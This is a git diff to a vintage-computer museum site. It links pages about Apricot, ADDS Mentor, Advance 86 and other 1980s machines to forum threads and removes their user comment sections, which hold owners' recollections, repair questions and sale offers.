( NJ) - date: Monday 7th September 2015 - text: looking for one of these also, preferably in the US. dreyfusshudson at yahoo dot com. Thanks. - - author: chris ze miller - date: Tuesday 31st January 2012 - text: I seem to recall my favoured computer was called The Apricot Vine.But my ultimate wish list computer was the Apricot Xen.The Apricot I hired may have been called The Vine.They really were mega money to buy.Considering my freehold shop was £18000 to buy.A further £2500 for a computer was out of the question.Multiply by 8 .Shop worth £150,000 today is like £20000 for the Apricot.At that time Canon invented the colour photo copier and their sales marketing team were geared up to hire it.I wanted one.At the Which? Computer Show they were all stunned when I tried to buy one!Took ages to get back to me with a price.One Million Pounds! Recently I bought a colour A3 copier,scanner,printer $ a windows 7 computer all in for £600.I think to myself.I wonder if there are still businesses around the world paying for the monthly hire purchase agreement for their apricot computer and canon colour copier! - - author: chris ze miller (Shropshire,UK) - date: Tuesday 31st January 2012 - text: In Feb 1986 I hired an Apricot from Dik Bic in Shrewsbury and paid £184 for the month.I could not learn Gem Write and gave it back.In comparison in January 1988 I paid £582 for an Amstrad 9512 and within a short space of time was printing out my mail order catalogue without having to refer to the instruction book.In those days one could go to evening classes to learn how to use Wordstar.Conclusion.Software that needs instruction books or evening classes is poorly written $ best avoided.Both Wordstar $ Gem Write have totally disappeared. - - author: Andrew Muldoon (UK) - date: Tuesday 22nd January 2002 - text: |- - Hi,\ - I quote from your page on the F2:\ - "Apparently they were to be sold with GEM Write and GEM Paint (along with the GEM edsktop ?)... did it really happen ?"\ - I can confirm that it did ship with GemDesktop.\ - I have a fully working F2 with original manuals, disks and box. It is a great machine and was the 1st computer I ever owned.\ - The actual one I have is the 1st computer I ever owned....bought from new and I sold it in 1994, but I got it back early this year.\ - Nice site you have.\ - Cya. related: - /museum/act-apricot-f1 - /museum/act-apricot-pc diff --git a/content/museum/act-apricot-pc.md b/content/museum/act-apricot-pc.md index 91bc026d..e889f0a0 100644 --- a/content/museum/act-apricot-pc.md +++ b/content/museum/act-apricot-pc.md @@ -76,6 +76,7 @@ params: - emulators - links - docs + forum_thread: 493 photos: - title: INSIDE THE APRICOT subtitle: '' @@ -156,83 +157,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Dave whale (Neath Abbey, W Glam) - date: Thursday 20th May 2021 - text: David Fisher. They are DOS discs 3.5" $ work on IBM I think, have you tried I know the format is a little different IBM allow less files. I could copy to IBM format but don''t know if the DOS $ BIOS calls work. Regards Dave - - author: Dave whale (Neath Abbey, W Glam) - date: Thursday 20th May 2021 - text: Charles Whitmore I tried to email you but W10 refuses don''t know why. I may be able to help assuming the discs haven’t ‘faded’. Are your drives SS 315m or DS 720m. Stuffs in loft so can’t say which I have. Regards Dave - - author: Charles Whitmore (United Kingdom) - date: Sunday 4th April 2021 - text: Does anyone know where I can get a set of operating disks for the apricot pc and an xi as I can’t find mine and I would quite like to revisit these 2 computers now I have retired. If you can help then please email me at charles.whitmore@icloud.com thank you - - author: Malcolm Baird (United Kingdom) - date: Saturday 3rd April 2021 - text: I have an Apricot Xen 5, processor box only, no keyboard, no screen, no peripherals. It has a hard drive (capacity???) and 3.5" floppy. I don''t know if it works, but maybe useful for spares. Therefore free to a good home. I can deliver in person to South West Scotland area but currently due to Covid restrictions, not to England. - - author: chris (UK) - date: Saturday 31st October 2020 - text: |- - I have an Apricot PC (dual floppy) which I have powered up ok, but I don''t have any Apricot software disks. Does anyone know where I could get the minimal disks needed to run the machine and see if it works?\ - Obviously then some software to run would be nice too\ - Any ideas? - - author: Erik Gunder (United Kingdom Denmark France) - date: Saturday 18th July 2020 - text: Hi, I have an Apricot from 1984, complete with disks and manuals. Would like to sell - any offers or questions please email. - - author: Peter Elliott (Wigston Leicester UK) - date: Monday 15th July 2019 - text: I have a Apricot LS 550 model LV 83741-0 Could it be of use to you guys ? I know nothing about PC !!$$128559$ - - author: Robert - date: Sunday 10th July 2016 - text: Hi i search the computer who see in the movie Electric Dreams... what is the model and where is possible to buy it. i know is a vintage computer ^^ but i want to make a exposure about movie''s computer ...thank''s - - author: David Fisher (UK) - date: Tuesday 24th May 2016 - text: Hi our company used apricot to run out factory manufacturing snooker balls, we still have loads of the 3.5" disks (Supercalc) and would love to access some of the infromation, does anyone know how to convert the disk to work on dos. I know it can be done as he have had it done before. - - author: Sergio (Italia) - date: Sunday 22nd May 2016 - text: |- - Hello, - - I''''m looking for the original Apricot mic for my act portable, if someone has one to sell please contact me. - - cottony@virgilio.it - - author: Sergio (Italia) - date: Saturday 21st May 2016 - text: |- - Hello, - - I''m looking for the original Apricot mic for my act portable, if someone has one to sell please contact me. - - author: Iliya Kovac (Birmingham, England) - date: Wednesday 21st January 2015 - text: |- - My first ever contract was with Apricot Computers in Birmingham in the R/D, England. I wrote all the test software for their computers (except the hard drive). - - Apricot PC/Xi, F1 and another one I can''t remember. - - The software tested the computers and did burn-in test in production. I wrote an O/S that loaded the programs and ran them. Even did a simple GUI menu. After a few months I went down to manufacturing and saw my program running on loads of computers. So satisfying. - - The S/W development team was really looked after. Even had own lunches cooked to order and eat them at the computers while still working. We were paid to work during meals! - - author: Graham Smith (New Zealand) - date: Tuesday 23rd December 2014 - text: |- - Hello John Moore, - - I recently acquired an Apricot xi. It posts but the main transformer in the power supply is over heating$ smells a bit. Can you help with parts? - - author: John Moore (New Zealand) - date: Wednesday 1st January 2014 - text: |- - Besides a F1e originally purchased back in 1985, I also have 3 Apricot PCs in differing stages of repair. I have pilfered the ram of 512k out of one to add to the 256k already in another to bring it up to its maximum of 768k. All the PCs have 720k double sided drives (as opposed to the 315k single sided drive). I did get one with an external 20meg Winchester drive. From memory I think the PCs were about NZ$7500 and up to 10grand+ for the xi version. The 20meg drive (back in the mid 80s) we''re about 5 grand - a bit ridiculous by today''s standards. I had a variety a software with the various computers, which included Wordstar a fairly good word processing package. All the previous F1 programmes worked including the activity. I seem to remember that the PC also came with its own version of activity ...but not too sure. One of the PCs was running the ACT version of DOS3.2. Unfortunately this eventually failed and I had to fall back to 2.1..doh! As an aside I got two 12 inch screens and one 9 inch with these computers. Unfortunately we had problems with ants in our roof and one of the 12 inch monitors became a fairly big ants nest!!! Strike out one monitor!! I loved the keyboard of the PC with the extra screen that brought up certain features of the software being run. Why oh why did ACT not make these IBM compatible, it would have been fantastic.\ - I did see a pic of the ACT Zen with a telephone as part of the keyboard. I think this was the 286 version with the 20meg drive. - - author: WHS (US) - date: Wednesday 28th December 2011 - text: |- - Apricot was not the first outside of Japan witht the 3.5"\ - HP preceded Apricot with 3.5" microfloppies. (HP 150 eg.) HP announced they had moved 25,000 of them in June 1983 (EDN 11/10/1983 p49) - - author: GP (South Africa) - date: Thursday 20th January 2011 - text: Was browsing the Internet for the boot up files for the apricot. I still have an original apricot PC which start the development of what is now an extensive product sold internationally. As part of a display we would like to show the original software as it was developed on the apricot (not sure if these disk will even work) but we don''t have the original startup boot disks (dual drive floppy machine). Any suggestions. - - author: Old Geek (US) - date: Saturday 4th September 2010 - text: I recently found an apricot (the original) and want to restore it. Any tips or user groups? related: - /museum/act-apricot-f1 - /museum/act-apricot-f2-f10 diff --git a/content/museum/act-apricot-portable.md b/content/museum/act-apricot-portable.md index 9d8f568d..5fb742a7 100644 --- a/content/museum/act-apricot-portable.md +++ b/content/museum/act-apricot-portable.md @@ -71,6 +71,7 @@ params: - emulators - links - docs + forum_thread: 486 photos: - title: APRICOT PORTABLE subtitle: '' @@ -160,76 +161,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Carl Plumer (United States) - date: Tuesday 5th February 2019 - text: I''m very interested in acquiring the beautiful Apricot PCs, manuals, after market books, etc., and peripherals. Means a lot to me and I will treat them all like fragile crystals of pure joy. Ping me at carlsplumer AT gmail DOT com if you want to chat about your Apricot stuff. Cheers! - - author: james (australia) - date: Tuesday 21st August 2018 - text: I have an old manual for the apricot portable if anyone wants it . crick@ozemail.com.au - - author: Matt - date: Thursday 9th August 2018 - text: |- - My dad worked at apricot from the early 80’s until there demise, and I’ve inherited many portable apricots also many prototypes of most models endless amounts.\ - I’m looking to move them on to an enthusiast that will appreciate them\ - Thanks Matt - - author: Sergio (Italia) - date: Saturday 21st May 2016 - text: |- - Hello, - - I''''m looking for the original Apricot mic for my act portable, if someone has one to sell please contact me. - - author: Roy (United Kingdom, Kent) - date: Friday 24th August 2012 - text: |- - Got the portable, in special case, mouse, manuals, discs etc. complete.\ - Want an offer or what have you?\ - Roy - - author: Roy (United Kingdom, Kent) - date: Friday 24th August 2012 - text: |- - Got the portable, in special case, mouse, manuals, discs etc. complete.\ - Want an offer or what have you?\ - Roy - - author: Roy (United Kingdom, Kent) - date: Friday 24th August 2012 - text: |- - Got the portable, in special case, mouse, manuals, discs etc. complete.\ - Want an offer or what have you?\ - Roy - - author: John B (Canada) - date: Sunday 11th December 2011 - text: |- - The Portable/FP was only ever available with an 8086 and strangely will not support the NEC V20 as a $-in speed upgrade. The systems originally selling with only 256kb of ram had the black finish and the better 512kb systems came in white. You also can not repopulate the system board (512kb units came with half their banks filled) with an additional 512kb of ram, thus maxing the machine out, and get the memory to immediately be detected by the BIOS. The service manual also does not state how exactly you get around this, so that nibble of info might be lost to time.\ - The floppy drive (Sony OA-D32W) is a twin head drive unlike the OA-D32V and thus works with double-sided diskettes.\ - The only truly awful design issues with the system was the glossy plastic over the LCD which makes for a near mirror finish (and incredible glare) and the absolutely dreadful IBM text mode emulation which all Apricots had up until the XEN 386. - - author: wus - date: Friday 18th November 2011 - text: Didn''t the apricot portable use a 80186 cpu? - - author: Dave J (Wales) - date: Monday 28th February 2011 - text: I still have mine and its in working order. It was a wonderfull machine and I learnt word processing and spread sheets on it. It was well ahead of its time and has to be one of the best of its time. - - author: Nico (Netherlands) - date: Sunday 8th August 2010 - text: The specs on this page say it''s a 8086 processor. Mine has a Z80 processor. Also the Sony diskette drive was blocked. The grease used in those days turns into solid glue after so many years. Had to use solvent to make the thing move again. In the text at the top it says single sided 720k and in the specs at the bottom it says 720k double sided. It is 720k and 720k is always double sided as far as I know. To (dis)assemble the unit is a bit of a where to start and where to finish puzzle. Unfortunately have not been able to get it to work so far. No display and the diskette drive just starts the motors (spinning and head movement) and never stops. Any suggestions? - - author: Johan Hjelvik (Norway) - date: Monday 19th April 2010 - text: This machine, released over 25 years ago, was very early on several new tecnologies$ LCD display, GUI, infrared connection and speech recognition. SuperWriter and Supercalc both worked very well. And, of course, I''ve still got mine, in perfect condition! - - author: Peter Hurst (UK) - date: Friday 21st March 2008 - text: |- - I also bought an Apricot portable from Dixons, although the Voice Recognition was almost useless the fact it came with SuperCalc 5 rescued it from being a complete waste. Although Apricot hardware was not 100% PC compatible it gave me a cheap (£500) PC when I wanted to move from ZX81's and Atari 400's and see what the real world was like. - - I remember I quite liked the infra-red keyboard and it came with a fibre optic "light pipe" in case the sun was on the sensor or objects got in the way. Later I got hold of some PC emulatin software which allowed me to run Procomm on it and it became quite a usefull tool. - - author: Daniel Garland (New Zealand) - date: Thursday 28th September 2006 - text: This computer is bizarre, fantastic, odd & brilliant all at the same time. Way ahead of its time, in more sense than one - and check that case design! I would love to own one of these one day, however the chances of that are highly remote :-( - - author: Jozef Schildermans (Belgium) - date: Tuesday 17th September 2002 - text: I bought a second hand Apricot portable around 1985 or 1986 and wrote lots of articles on it. The screen was not very good, but the voice recognition and wireless keyboard were way ahead of its time. Sadly, I traded the unit in for an IBM compatible pc with more memory and a CRT screen, so I don't have it anymore. Haven't seen one since, except for on this excellent site. - - author: George (Athens/Greece) - date: Saturday 20th April 2002 - text: Apricot Portable is the most beautifull portable PC I've ever seen. Way ahead of it's time in the mid 80's related: - /museum/act-apricot-f1 - /museum/act-apricot-f2-f10 diff --git a/content/museum/act-apricot-xen.md b/content/museum/act-apricot-xen.md index 7a9c36ce..35fab9d2 100644 --- a/content/museum/act-apricot-xen.md +++ b/content/museum/act-apricot-xen.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 495 photos: - title: XEN-I MODEL subtitle: '' @@ -179,10 +180,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Matthew bennett (England ) - date: Tuesday 14th December 2021 - text: Hi there my dad helped develop the zen,,, My main point is that I still have a one off prototype of the zen case, it was is a clear one so you can see all the internal parts ðŸ‘�ðŸ‘� related: - /museum/act-apricot-f1 - /museum/act-apricot-f2-f10 diff --git a/content/museum/act-apricot-xi.md b/content/museum/act-apricot-xi.md index da6f04b7..6097c4c5 100644 --- a/content/museum/act-apricot-xi.md +++ b/content/museum/act-apricot-xi.md @@ -66,6 +66,7 @@ params: - emulators - links - docs + forum_thread: 494 emulators: - title: 'APE Plus : Apricot Emulator' url: http://www.ansible.demon.co.uk/ai/ape.html @@ -101,46 +102,6 @@ params:  compiled/archived by Jonathan Marsters\  type of document : PDF\  source : [www.actapricot.org](http://www.actapricot.org) - comments: - - author: Sven W. (Germany) - date: Monday 2nd August 2021 - text: I just got one of this rare grey Apricot Xi today. Ive experienced almost as exactly the same problem as Bill mentioned below. The computer startet no problems. But after a few seconds the PSU of the Monitor got up in smoke. Fortunately it came with another small monitor and i was able to do a bit of tinkering with this lovely machine. Some of the keys of the keyboard seem to be dead. Anyone here that knows if these rare keyboards are fixable? Greetings - - author: rfka01 (Germany) - date: Monday 12th February 2018 - text: |- - I have one that is missing the keyboard ... contact me if you have one for sale for a reasonable price.\ - rfka01 (at) freenet (dot) de - - author: Gary (United Kingdom) - date: Thursday 28th December 2017 - text: 'I''''m currently (attempting) to rebuild a rather neglected Apricot Xi10, that was upgraded to a 80286 by Apricot in 1987. There appears to be plenty of technical information available for the original Xi, but not so much for the 286. If anyone has a service manual, then I''''d love to hear from you (address: garyspamfull, domain: gmail.com).' - - author: Steve Mills (United Kingdom) - date: Friday 8th December 2017 - text: I would like to recover a system that I built in the 1980s on an Apricot XI10 machine - I have it all backed up on floppy disks. If anyone knows of an XI10 for sale in full working order, or alternatively if someone would be willing to lend me a working XI10 for a few weeks then I''d be interested to hear from you. - - author: Marty (Czech Republic) - date: Thursday 8th June 2017 - text: Hi guys, I have one of these but in very poor state. Additionally, I have no keyboard nor screen. Do you anyone have idea about video and keyboard pinouts? I am ready to build any converter to bring it to life. - - author: Bill Appleton (UK South West) - date: Monday 27th October 2014 - text: |- - I havea rare grey Xi and decided to power it up after a few years of standing idle.\ - Hard drive powered up, monitor burst into life, Loaded operating system from hard drive, Keyboard keys not working,.\ - After a few moments a crackle and smoke. Power supply died.\ - Will fix this so as once again working.\ - What modern pentium or I3 will still be working after 26 years or more let alone the hard drive.\ - Excellent technology for the time and well built. - - author: Jenny W. (Teddington, UK) - date: Friday 26th November 2010 - text: |- - I bought this machine in 1984 and had an ambitious advertising sales data base with integrated sales ledger written for it. I was working from home at the time and occasionally carried my "portable" Apricot on the train to the London office. Everything went remarkably well until the little hard disc started to fill up.\ - I still have the computer stored under my desk, in good condition although I haven''t tried firing it up for years. - - author: Peter F. (Suffolk, UK) - date: Wednesday 23rd January 2008 - text: |- - I remember this machine having a fantastic keyboard! The best touch was the programmable LCD with soft function keys.\ - When they were updated from CPM(?) to IBM DOS, Apricot UK used to come out and 'modify' the computer... In reality they just swapped over the motherboard and added a strange dongle on the back to convert the CRT connector. - - author: Don Swatman (Hearth) - date: Friday 9th June 2006 - text: It used to have a very slow character/text redraw. Rumour has it that this was intentional because it could be so much faster than the Sirrius it would destroy the Sirrius market. However someone developed a bit of code that bypassed the slow redraw and once installed it used to fly (well relatively speaking). related: - /museum/act-apricot-f1 - /museum/act-apricot-f2-f10 diff --git a/content/museum/act-qi-300.md b/content/museum/act-qi-300.md index 6c2d32ee..098ed05d 100644 --- a/content/museum/act-qi-300.md +++ b/content/museum/act-qi-300.md @@ -64,28 +64,11 @@ params: value: £3,200 (QI-600) tabs: - links + forum_thread: 969 links: - title: Apricot PC list url: http://www.osemidlands.co.uk/support/insight/insight/en/products/timeline/timeline.htm text: Full list of Apricots PC compatible products (From the Xen-i onwards) - comments: - - author: Andy W. (UK) - date: Wednesday 11th February 2009 - text: |- - We had one of these at home back in late 1988. With its 48MB hard drive and 5MB of RAM it pretty much represented the cutting-edge of desktop PC''s at the time. It cost a bomb, I believe the additional 4MB of RAM cost another thousand pounds or so. In fact I sold it, still working, in around 1995. - - Ahh, those were the days...... - - author: Brian (UK) - date: Thursday 19th June 2008 - text: This was my first PC, and followed the legendary Amstrad PCW8256 I wrote my PhD thesis on. The hard drive had 40mb capacity and made a soft rattling sound as it booted up. Windows 3.11 for Workgroups. Never forget it. - - author: Antti Rytsola (Finland) - date: Tuesday 27th November 2007 - text: |- - I think we had one of these Apricot 386sx-16 at the time. It was the first place I ever saw the strange interface on the backend which later changed my career - 10base-T.\ - The inbuilt expansion space was quite unusable due to the microchannel architechture, but we got on expansion box to the side of the thing with three full-sized ISA slots and had a memory card on one of them. - - author: Deacon Mckay (UK) - date: Wednesday 13rd September 2006 - text: i had one of these but it died, it was running windows 3.1 and dos. when i opened it up it had a 100mb HD, i'm not sure if it had been modified. it also had an old co-axal network plug and card. oc_id: 995 source: url: https://web.archive.org/web/20221128005132/http://www.old-computers.com/museum/computer.asp?c=995 diff --git a/content/museum/actrix-ds.md b/content/museum/actrix-ds.md index 20f283f8..754a373d 100644 --- a/content/museum/actrix-ds.md +++ b/content/museum/actrix-ds.md @@ -67,19 +67,7 @@ params: MODEMS: 300-baud acoustic coupler and Direct-Connect - label: PRICE value: 3090$ (USA, november 1983) - comments: - - author: ColX (Uk) - date: Sunday 31st July 2016 - text: Guess you must mean QEMU emulation,but there''s Amiga cp/m emulation for example,and probably other emulators too run cp/m if that''s what your looking for. - - author: kay katz (USA) - date: Monday 11th March 2013 - text: I bought an Actrix computer in 1984 and used it until 1990 when I gave it to a friend in consideration for helping me move. It was a great piece of machinery! Wish I still had it. - - author: Starla - date: Friday 8th April 2011 - text: 'Even though I drove an old Dodge Dart that used a quart of oil every 100 miles, I chose to spend $3,000 on this machine. The interface was a little geeky: when you used the save command, it would ask "abandon modified buffer?" It also froze after about 10 pages of text. I bought it for "portability." Wow. Those were the days!' - - author: nijineko (usa) - date: Wednesday 10th September 2003 - text: my dad used to have one of these... i am looking for a particular game that was native to the OS on this computer. the game was called nemesis. there was an emulator (q-something) that allows a pc computer to emulate this OS and run its software. can anyone help with that? + forum_thread: 496 oc_id: 502 source: url: https://web.archive.org/web/20230415070620/http://www.old-computers.com/museum/computer.asp?c=502 diff --git a/content/museum/add-x-systeme-smp-5.md b/content/museum/add-x-systeme-smp-5.md index 55cc036c..74f820e7 100644 --- a/content/museum/add-x-systeme-smp-5.md +++ b/content/museum/add-x-systeme-smp-5.md @@ -44,6 +44,7 @@ params: value: Built-in PSU - label: PRICE value: 4222 (France, february 83) + forum_thread: 499 oc_id: 505 source: url: https://web.archive.org/web/20230603004442/http://www.old-computers.com/museum/computer.asp?c=505 diff --git a/content/museum/add-x-systeme-smp-8.md b/content/museum/add-x-systeme-smp-8.md index 03c7e6e0..bd1f632f 100644 --- a/content/museum/add-x-systeme-smp-8.md +++ b/content/museum/add-x-systeme-smp-8.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 500 photos: - title: SM1 LARGE VIEW subtitle: '' @@ -147,15 +148,6 @@ params: subtitle: '' text: '"French people talking to french people"' image: /media/museum/pubs/addx_pub_des-francais.jpg - comments: - - author: Andy Key - date: Friday 11th January 2013 - text: |- - Does the SM1 mentioned here have any relationship to the SM1 which was a precursor to Memotech computers, designed by Steve Marchant? - - The SM1 I had was Z80 based, 64KB RAM, 2x 8" floppies (internal), connector allowing external hard drive, probably monochrome 80x24, blue metal case, looked very different to the picture (more like a 380Z), and had a very springy/noisy keyboard. - - {{{ Andy oc_id: 506 source: url: https://web.archive.org/web/20230528090835/http://www.old-computers.com/museum/computer.asp?c=506 diff --git a/content/museum/adds-mentor-2000.md b/content/museum/adds-mentor-2000.md index 51b3f630..6e316c2b 100644 --- a/content/museum/adds-mentor-2000.md +++ b/content/museum/adds-mentor-2000.md @@ -59,6 +59,7 @@ params: tabs: - photos - docs + forum_thread: 863 photos: - title: LABELS subtitle: '' @@ -128,58 +129,6 @@ params:  compiled/archived by Dave Dunfield\  type of document : PDF\  source : [Daves Old Computers](http://www.classiccmp.org/dunfield/) - comments: - - author: Monty Cuthbert (Doncaster UK) - date: Monday 10th February 2020 - text: |- - EDP\ - I came out of the army after years service at 31 in 1974 with the word COMPUTER going through my head. I talked the Government into starting resettlement courses with CDI in Computer Engineering. After this course I went to work for ICL in Bracknell, but by 1980 ICL’s expansion dealings with Singer made me feel uncomfortable as the word redundancy was being spoken about. I approached an agency saying “I would like a job in the area or in South Yorkshire where I come from.”\ - The response was the offer of the Northern Regional Managers position with a company in Sheffield. I said “Hold on a minute, I am only a in house system maintenance engineer.” The Agency said “That is what we told the Managing Director and his response was does he want the job or not” I left ICL and joined Richard Jowitt in Sheffield. I was the only employee in the company with an engineering title.\ - The day I arrived Richard told me he was going round the world to look for a computer to ut into small businesses. He came back a week later and told me I was going to ADDS on Long Island, New York for a week to learn about the Mentor Computer.\ - Initially until I could recruit more engineers I was living with my parents in Doncaster Tuesday to Thursday handling work in the North and being with my wife and children Friday to Monday handling southern problems.\ - The Northern Regional Manager was more like the Northern Hemisphere Manager.\ - In 2002 I left the company which by then had ten repair centres.\ - I was talking to Richard in 2000 and I told him that I had eight years left before retirement but I could not see computer repair engineering lasting that long. The throwaway society was approaching.\ - I was elected as a DMBC Councillor in 1998, I took redundancy from EDP and carried on as a full time Councillor.\ - Monty - - author: Oleg Kuznetsov (Russia) - date: Thursday 28th November 2019 - text: Great compute and great OS PICK I had been using in post-USSR ministry of Foreign Trade and the experience with MENTOR machine was quite bright and powerful in terms of massive level-up in programming with BASIC for the enormous database of spare parts, invoices, accounting records and entry data forms we used on ASCII RS232 terminals which allow pseudo-graphics to make nice windows and entry screeens. I will remember these magic times for the rest of my life as the most productive in my programmer career. Later I bacame the CFO of RUssia in a multinational company in Mining and I still cherish and respect the Great Effort which MENTOR designers and engineers made for us to be more than happy and successful users of this GEM. Cheers to all the super-team of ADDS guys - who will be forever remembered in our country. I realize that computers of today maybe are much top gear etc. While old stuff like MENTOR and PICK will never be beaten by new HI-Tech. We people of 90s will always - trust in real gear. Cheers to all folks who like MENTOR and PICK!! Br Oleg - - author: Mark (United States) - date: Saturday 1st April 2017 - text: |- - I worked at EDP in Sheffield and then Milton Keynes from about 1986 to 1989. I worked for Alan Lees who is mentioned in another post. I repaired all the various ADDS systems supplied and eventually supervised the repair center eventually... - - I loved programming in PICK. Nothing else like it. Taught me about data structures and objects long before that was even a thing, it just made sense. - - author: Francis Palacios (Valencia, SPAIN) - date: Wednesday 18th December 2013 - text: |- - I was the Technical Director of the Spain reseller for ADDS Computers since 1985 to 1992. In summer of 1986 I meet with an Engineer from EDP U.K called Alan Lees at Lisboa (Portugal) for the M2500 training course.This M2500 system was an excellent computer, very noble and powerful. I can say that M2500 was the best system for Pick O.S. in 80´s decade at Spain. Around 1990 were substituted by NCR/AT$T Tower 200,400 y 600 series with the name Mentor 6000 series. Same hardware but different O.S. Unix for Tower an Pick for mentor.\ - M2500 brings back good memories, unfortunately disappeared, however I keep an old M6000 that I´m sure that will startup. Regards. - - author: Ronald Loui (Springfield, IL) - date: Saturday 25th May 2013 - text: ADDS Mentor was a joy to work with $ Pick OS was revised and was fast. The late, great Eugene Nathan Johnson was a fan. Prime took the fun away too soon thereafter, but the Mentor was always the sweet one. Standing next to the "fridge" with terminal on top was a happy working height. I remember this was a good looking box in black matte. I''d love to have one to play with again. - - author: Jeff Nisler (Long Island,NY / USA) - date: Wednesday 22nd December 2010 - text: In 1980, I was the principle software engineer at ADDS responsible for the porting project that became MENTOR - the prototypes were called Epsilon, I have 1 of 6 that were made with all the original engineering documents and source code (hasn''t seen power for about 20 years) - the Mentor was soon numbered the 4000 as smaller and larger configurations were offered (3000, 5000, 6000). I had left for Altos before they did the later Mentors. Sorry to hear Neil''s has died (and what a way to go). - - author: Daniel - date: Sunday 15th August 2010 - text: I found lots of these computers in an abandoned house basment, it was really weired to see! I took one home plugged it in and the powersuppliy blow lol, still kept it though. - - author: Neil Boulton (Lichfield, United Kingdom) - date: Tuesday 1st June 2010 - text: |- - Just found this site again, forgot I had sent these pictures in a while ago! - - Well the M2000 has finally gone to heaven. About a year ago there was a significant fire in the garage where it lived (it didnt cause it though!) and everything including the garage was gutted. - - It had stopped working a while beforehand, but I couldnt permit myself to throw it out because it couldnt have been fixed. - - Glad to see its still alive on here though.\ - Thanks, and keep up the good work! - - Kind Regards,\ - Neil Boulton. oc_id: 882 source: url: https://web.archive.org/web/20230605035745/http://www.old-computers.com/museum/computer.asp?c=882 diff --git a/content/museum/advance-technology-advance-86.md b/content/museum/advance-technology-advance-86.md index ed5845cb..5a4f309e 100644 --- a/content/museum/advance-technology-advance-86.md +++ b/content/museum/advance-technology-advance-86.md @@ -69,6 +69,7 @@ params: - photos - adverts - docs + forum_thread: 501 photos: - title: ADVANCE 86B GOLD ! subtitle: '' @@ -159,61 +160,6 @@ params:  compiled/archived by Øystein De Lumeau\  type of document : PDF\  source : www.old-computers.com - comments: - - author: Bob Eager (UK) - date: Friday 20th April 2012 - text: |- - I had one of the very early ones (initially without heatsinks on the Ferranti ULA chips). They were fitted on an engineer visit. - - I fitted a hard disk to mine, and the top power supply overheated regularly. I always had to run it with the lid off! - - It wasn''t totally IBM compatible. Because it used an 8086, with a 16 bit data path, extra logic was needed to make the 8259 interrupt controller respond on the correct ports. They didn''t do this, so where a real IBM compatible would use ports 20 and 21, the Advance only used even numbered ports$ in this case, 20 and 22. Any software that programmed the interrupt controller would not work correctly. - - Advance provided a conversion program that (mostly blindly) changed 21 to 22 in executables files. Not a success. I did it by code inspection with DEBUG, and was usually successful. - - author: Ramon Zarat (Canada) - date: Wednesday 7th April 2010 - text: |- - @Micah B. Haber - - "Internally" refers to the processing word width. In this case, 16bit words can be computed at each cycle. But it takes nearly twice as long as computing an 8bit words, save some overheard because the process is inherently serialized. That''s why 16bit computing is only marginally faster than 8bit. 16bit real advantage is for bigger address space, not speed. - - On the other hand, "Externally" refer to the bus the CPU use to communicate its information to and from the system, including RAM. A 16bit bus can effectively carry twice the information of an 8bit bus and thus, is twice as fast, because here we are talking about parallel communication. - - While it''s true a 16/16 system is not twice as fast as an 16/8 system, the 8bit bus of the 16/8 setup can seriously bottleneck the 16 bit CPU in some scenario. We should say then the 16/8 is slower than the 16/16, not the other way around. Todays 32 and 64bit CPU have external bus much wider than their internal address space /processing width and are not directly comparable to the 16bit CPU era. - - author: David Martin (Crewe, UK) - date: Friday 10th November 2006 - text: |- - The 86B was my first introduction to the 'PC' world after a string of home computers. It did everything an IBM junior did but was cheaper and had the 'perfect suite' of software too, which was actuall pretty good for it's day. - - I remember it would regularly crash when it got warm because of poot contacts between the A and B boxes - ended up soldering the ribon cables into place to fix the damn thing once and for all! - - If my memory serves - these were only available through the WHSmiths stores in the UK. Not ideal marketing as Smiths weren't big in the home or business computer markets at the time. - - author: Dave (United Kingdom) - date: Thursday 12th August 2021 - text: The Advance 86a was the first machine I worked on when I started my career in programming, I remember when saving to tape if you accidentally didn''t have the record button down you could not interrupt the save process and would have to wait 2 minutes for it to complete before trying again. I also recall the coiled keyboard cable acted as a receiver for radio waves from cab drivers where occasionally loads of random characters would appear on the screen. We were writing software for WH Smiths to sell with it. I vaguely remember the machines getting withdrawn due to a lawsuit between IBM and Ferranti.. - - author: digitalhippy (bristol, UK) - date: Tuesday 30th August 2011 - text: |- - I still have one of these, its huge, all plastic though. Yes only marketed though WHSmiths, but what a price £1000 for everything !! 360k disk wow!\ - It got me through college into a career in IT in the City and now an Architect, although I have bought a few computers ever since! I keep thinking about taking it out of the store and putting an old Mac mini inside the case! - - author: James Griffin (Australia) - date: Saturday 23rd October 2010 - text: The Advance 86 was sold in Australia re badged as a Dick Smith Challenger , the first and cheapest available in AUSTRALIA at the time , - - author: EPDM (BE) - date: Wednesday 23rd June 2010 - text: |- - From Mr. Martin''s post I presume the cases where connected through ribbon cables. Are there any more details how this was? - - Where there openings provided or did you have to open up the case to attach the cables? - - author: Jim Campbell Andrew (UK) - date: Sunday 13rd April 2008 - text: Hi - just reading your page on the Advance 86 machines. One thing you don't mention (and I'm \_fairly\_ sure is correct) is that they were only sold through the WH SMiths chain of newspaper/magazine/book stores in the UK. - - author: Micah B. Haber (Nashua, New Hampshire) - date: Saturday 10th March 2007 - text: |- - "but had a different CPU, the 8086 which was a true 16-bit processor. It could thus compute twice as fast for a much lower price !" - - This is incorrect. An 16-bit internally and 16-bit externally CPU is not going to be inherently twice as fast as a 16-bit internally and 8-bit externally CPU. Doubling the bits does not double the performance, as can been seen in the current transition from 32-bit to 64-bit x86 CPUs. oc_id: 507 source: url: https://web.archive.org/web/20230604031851/http://www.old-computers.com/museum/computer.asp?c=507 diff --git a/content/museum/advanced-computer-systems-acs-1007.md b/content/museum/advanced-computer-systems-acs-1007.md index e05387c5..7b4a9198 100644 --- a/content/museum/advanced-computer-systems-acs-1007.md +++ b/content/museum/advanced-computer-systems-acs-1007.md @@ -43,6 +43,7 @@ params: value: Printer (ACS-110), Modem tabs: - adverts + forum_thread: 484 adverts: - title: FRENCH AD (JAN. 1980) subtitle: '' diff --git a/content/museum/advision-home-arcade.md b/content/museum/advision-home-arcade.md index 147b8fcf..229fc629 100644 --- a/content/museum/advision-home-arcade.md +++ b/content/museum/advision-home-arcade.md @@ -15,6 +15,7 @@ params: - emulators - links - docs + forum_thread: 1149 photos: - title: ADVISION HOME ARCADE 